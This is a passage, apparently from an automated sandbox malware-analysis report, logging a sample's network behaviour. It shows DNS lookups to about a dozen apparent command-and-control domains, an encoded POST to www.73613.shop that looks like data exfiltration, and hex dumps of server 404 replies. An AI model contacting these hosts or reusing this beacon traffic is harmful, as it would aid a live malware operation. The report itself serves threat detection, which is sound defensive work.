-4.47114,-0.22124 -6.62011,-0.63114 4.47801,13.97857 17.47214,24.15143 32.86992,24.43441 -12.04227,9.43796 -27.21366,15.06335 -43.69965,15.06335 -2.84014,0 -5.64082,-0.16722 -8.39349,-0.49223 15.57186,9.98421 34.06703,15.8094 53.93768,15.8094 64.72024,0 100.11301,-53.61524 100.11301,-100.11387 0,-1.52554 -0.0343,-3.04251 -0.10204,-4.55261 6.87394,-4.95995 12.83891,-11.15646 17.55618,-18.21305 z" /></g></svg></a></li> equals www.twitter.com (Twitter)
Source: fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: <li><a rel="nofollow" href="https://www.facebook.com/hover"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><circle cx="50" cy="50" r="50" /><g transform="scale(0.25 0.25) translate(30 50)"><path d="M182.409,262.307v-99.803h33.499l5.016-38.895h-38.515V98.777c0-11.261,3.127-18.935,19.275-18.935 l20.596-0.009V45.045c-3.562-0.474-15.788-1.533-30.012-1.533c-29.695,0-50.025,18.126-50.025,51.413v28.684h-33.585v38.895h33.585 v99.803H182.409z" /></g></svg></a></li> equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: www.regents.health
Source: global traffic	DNS traffic detected: DNS query: www.73613.shop
Source: global traffic	DNS traffic detected: DNS query: www.eco-tops.website
Source: global traffic	DNS traffic detected: DNS query: www.astrext.info
Source: global traffic	DNS traffic detected: DNS query: www.newhopetoday.app
Source: global traffic	DNS traffic detected: DNS query: www.binacamasala.com
Source: global traffic	DNS traffic detected: DNS query: www.dlion.net
Source: global traffic	DNS traffic detected: DNS query: www.bioart.buzz
Source: global traffic	DNS traffic detected: DNS query: www.06753.photo
Source: global traffic	DNS traffic detected: DNS query: www.gucciqueen.shop
Source: global traffic	DNS traffic detected: DNS query: www.premium303max.rest
Source: global traffic	DNS traffic detected: DNS query: www.mnpl.online
Source: global traffic	DNS traffic detected: DNS query: www.locuramagica.online

Source: unknown

HTTP traffic detected: POST /tizt/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-USAccept-Encoding: gzip, deflateHost: www.73613.shopContent-Type: application/x-www-form-urlencodedConnection: closeCache-Control: max-age=0Content-Length: 208Origin: http://www.73613.shopReferer: http://www.73613.shop/tizt/User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900R4 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36Data Raw: 55 54 4a 30 62 68 43 3d 6e 6b 4b 65 6c 61 43 64 58 55 64 73 2b 71 4d 38 73 51 7a 30 67 37 68 76 51 79 31 75 45 65 79 45 49 39 75 74 6e 2f 67 59 66 59 41 74 35 50 56 77 42 7a 69 53 62 30 76 6f 4b 6e 36 31 5a 75 33 73 36 75 59 53 6b 6a 2f 7a 34 57 30 68 6f 62 4e 62 31 54 58 61 6f 66 46 74 31 37 2f 34 77 63 6b 65 67 68 6b 4a 36 51 2b 51 65 2f 6e 71 56 53 33 55 48 37 53 71 4d 7a 4f 59 41 71 72 38 74 42 71 76 46 6b 4d 71 4e 4b 75 5a 6f 38 74 64 2f 50 6c 69 6f 45 63 75 70 66 66 47 33 6c 32 63 52 6a 62 46 4b 73 74 6d 64 4a 61 39 72 66 4e 76 56 66 7a 30 5a 64 34 46 70 2f 72 48 5a 4c 63 69 34 45 73 52 52 61 6b 45 73 71 73 3d Data Ascii: UTJ0bhC=nkKelaCdXUds+qM8sQz0g7hvQy1uEeyEI9utn/gYfYAt5PVwBziSb0voKn61Zu3s6uYSkj/z4W0hobNb1TXaofFt17/4wckeghkJ6Q+Qe/nqVS3UH7SqMzOYAqr8tBqvFkMqNKuZo8td/PlioEcupffG3l2cRjbFKstmdJa9rfNvVfz0Zd4Fp/rHZLci4EsRRakEsqs=

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.2Date: Tue, 10 Dec 2024 15:24:07 GMTTransfer-Encoding: chunkedConnection: closeX-Powered-By: 3.2.1Access-Control-Allow-Origin: *Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONSData Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.2Date: Tue, 10 Dec 2024 15:24:10 GMTTransfer-Encoding: chunkedConnection: closeX-Powered-By: 3.2.1Access-Control-Allow-Origin: *Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONSData Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.2Date: Tue, 10 Dec 2024 15:24:13 GMTTransfer-Encoding: chunkedConnection: closeX-Powered-By: 3.2.1Access-Control-Allow-Origin: *Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONSData Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.2Date: Tue, 10 Dec 2024 15:24:16 GMTTransfer-Encoding: chunkedConnection: closeX-Powered-By: 3.2.1Access-Control-Allow-Origin: *Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONSData Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 10 Dec 2024 15:24:16 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 10 Dec 2024 15:24:18 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 10 Dec 2024 15:24:21 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 10 Dec 2024 15:24:24 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Tue, 10 Dec 2024 15:24:31 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 72 38 24 6b 5b 3e 6a 05 8d ce 88 67 4d e2 92 72 8e 84 e1 c0 ab fc a0 24 7d 49 e8 0f 73 20 45 8e d8 95 0e 11 93 8b c9 74 0e 8d 58 53 d3 36 fb a1 d6 a2 f1 67 91 71 d5 74 be 7b e7 92 70 b5 d0 c6 75 cf 8c a3 ed 42 c4 9d 1f 9e 5e d2 12 48 26 c1 76 c0 7b 31 22 8e fa ac cd 0d 2d dc fe 7a 3c 8a a5 e8 a3 fd 96 48 9d b7 0d 1b 32 59 19 72 f8 ea c0 f4 dd 82 8c e2 ff e2 40 2d 54 d9 8a 92 9d fc cc e8 f7 9e 33 18 0d 42 ed 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 27 d6 7a 92 eb 26 2a 4c d3 1d a3 53 fd 2b 1e 0d bd 9a d4 3a 17 8e b4 9a 54 da 3a 60 d8 93 8d a3 4f e9 6d 7a 7f d7 53 7e fb 72 8a 67 14 75 d7 99 3c f2 cc 0c 97 32 67 fc 33 ea 15 fa a7 e4 75 b7 10 bc 02 5e 11 ef 5f ef 1b fb d8 7d e7 fe 02 e4 39 6b fe f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23aTMo@WLP@qzCPZc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <\|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Tue, 10 Dec 2024 15:24:34 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 72 38 24 6b 5b 3e 6a 05 8d ce 88 67 4d e2 92 72 8e 84 e1 c0 ab fc a0 24 7d 49 e8 0f 73 20 45 8e d8 95 0e 11 93 8b c9 74 0e 8d 58 53 d3 36 fb a1 d6 a2 f1 67 91 71 d5 74 be 7b e7 92 70 b5 d0 c6 75 cf 8c a3 ed 42 c4 9d 1f 9e 5e d2 12 48 26 c1 76 c0 7b 31 22 8e fa ac cd 0d 2d dc fe 7a 3c 8a a5 e8 a3 fd 96 48 9d b7 0d 1b 32 59 19 72 f8 ea c0 f4 dd 82 8c e2 ff e2 40 2d 54 d9 8a 92 9d fc cc e8 f7 9e 33 18 0d 42 ed 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 27 d6 7a 92 eb 26 2a 4c d3 1d a3 53 fd 2b 1e 0d bd 9a d4 3a 17 8e b4 9a 54 da 3a 60 d8 93 8d a3 4f e9 6d 7a 7f d7 53 7e fb 72 8a 67 14 75 d7 99 3c f2 cc 0c 97 32 67 fc 33 ea 15 fa a7 e4 75 b7 10 bc 02 5e 11 ef 5f ef 1b fb d8 7d e7 fe 02 e4 39 6b fe f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23aTMo@WLP@qzCPZc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <\|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeDate: Tue, 10 Dec 2024 15:24:37 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 72 38 24 6b 5b 3e 6a 05 8d ce 88 67 4d e2 92 72 8e 84 e1 c0 ab fc a0 24 7d 49 e8 0f 73 20 45 8e d8 95 0e 11 93 8b c9 74 0e 8d 58 53 d3 36 fb a1 d6 a2 f1 67 91 71 d5 74 be 7b e7 92 70 b5 d0 c6 75 cf 8c a3 ed 42 c4 9d 1f 9e 5e d2 12 48 26 c1 76 c0 7b 31 22 8e fa ac cd 0d 2d dc fe 7a 3c 8a a5 e8 a3 fd 96 48 9d b7 0d 1b 32 59 19 72 f8 ea c0 f4 dd 82 8c e2 ff e2 40 2d 54 d9 8a 92 9d fc cc e8 f7 9e 33 18 0d 42 ed 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 27 d6 7a 92 eb 26 2a 4c d3 1d a3 53 fd 2b 1e 0d bd 9a d4 3a 17 8e b4 9a 54 da 3a 60 d8 93 8d a3 4f e9 6d 7a 7f d7 53 7e fb 72 8a 67 14 75 d7 99 3c f2 cc 0c 97 32 67 fc 33 ea 15 fa a7 e4 75 b7 10 bc 02 5e 11 ef 5f ef 1b fb d8 7d e7 fe 02 e4 39 6b fe f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23aTMo@WLP@qzCPZc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <\|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 1271Connection: closeDate: Tue, 10 Dec 2024 15:24:39 GMTServer: ApacheX-Frame-Options: denyData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 2c 20 23 70 61 72 74 6e 65 72 2c 20 69 66 72 61 6d 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 6c 69 6e 65 3a 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 4e 4f 57 22 20 6e 61 6d 65 3d 22 65 78 70 69 72 65 73 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 61 6c 6c 22 20 6e 61 6d 65 3d 22 47 4f 4f 47 4c 45 42 4f 54 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 61 6c 6c 22 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 3e 0a 20 20 3c 21 2d 2d 20 46 6f 6c 6c 6f 77 69 6e 67 20 4d 65 74 61 2d 54 61 67 20 66 69 78 65 73 20 73 63 61 6c 69 6e 67 2d 69 73 73 75 65 73 20 6f 6e 20 6d 6f 62 69 6c 65 20 64 65 76 69 63 65 73 20 2d 2d 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 3b 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 3b 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 3b 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 3b 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 64 69 76 20 69 64 3d 22 70 61 72 74 6e 65 72 22 3e 0a 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 